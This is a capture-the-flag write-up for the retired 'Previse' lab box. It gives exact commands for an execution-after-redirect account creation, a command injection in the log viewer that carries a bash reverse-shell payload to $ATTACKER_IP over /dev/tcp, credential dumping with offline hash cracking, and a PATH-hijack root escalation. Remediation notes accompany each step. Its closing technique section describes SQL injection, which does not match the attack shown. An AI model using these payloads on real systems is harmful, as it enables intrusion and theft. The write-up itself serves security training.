Previse
Summary
I exploited a PHP coding flaw that delivered full page content inside redirect responses, allowing silent account creation on a private file-management portal with no prior credentials. After logging in, I downloaded the site's own backup archive, reviewed its source code, discovered an OS command injection flaw in a log-viewing page, and obtained a remote shell as the web server process. Plaintext database credentials baked into the source code led to the local user's password hash, which cracked offline in seconds.
That cracked password opened an SSH session and the user flag. A sudo rule permitted the user to run a shell script as root; because the script invoked gzip by relative name rather than absolute path, planting a malicious gzip binary early in the PATH caused root-level code execution and complete system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -sV -sC -p- --min-rate 5000 -oN previse_full.txt $TARGETcurl -sI http://$TARGET/Exact commands 3
curl -v http://$TARGET/accounts.php 2>&1 | grep -A 40 '< HTTP'curl -s -X POST http://$TARGET/accounts.php -d "username=$USERNAME&password=$PASSWORD2&confirm=$PASSWORD2" -D -curl -s -c cookies.txt -X POST http://$TARGET/login.php -d "username=$USERNAME&password=$PASSWORD2" -D -FixStop PHP page execution immediately after issuing every redirectCritical
Exact commands 3
curl -s -b cookies.txt http://$TARGET/files.php | grep -i 'zip\|href'curl -s -b cookies.txt http://$TARGET/files/siteBackup.zip -o siteBackup.zip && unzip siteBackup.zip -d previse_src/grep -rn 'password\|mysqli\|exec\|system\|shell_exec' previse_src/ --include='*.php'Exact commands 2
nc -lvnp 4444curl -s -b cookies.txt -X POST http://$TARGET/logs.php --data-urlencode 'delim=,;bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"'FixEliminate OS command injection in the log viewerCritical
Exact commands 2
cat /var/www/html/config.phpmysql -u root -p'$PASSWORD3' previse -e 'SELECT * FROM accounts;'FixRemove hardcoded database credentials from web-accessible source filesHigh
Exact commands 2
hashcat -m 3200 m4lwhere.hash /usr/share/wordlists/rockyou.txt --forcessh m4lwhere@$TARGETFixEnforce strong password hashing and a minimum password policyHigh
Exact commands 4
sudo -lcat /opt/siteIsUp.shTD=$(mktemp -d) && printf '#!/bin/bash\n/bin/bash -p\n' > $TD/gzip && chmod +x $TD/gzipsudo PATH=$TD:$PATH /opt/siteIsUp.shFixUse absolute paths in every sudo-allowed scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |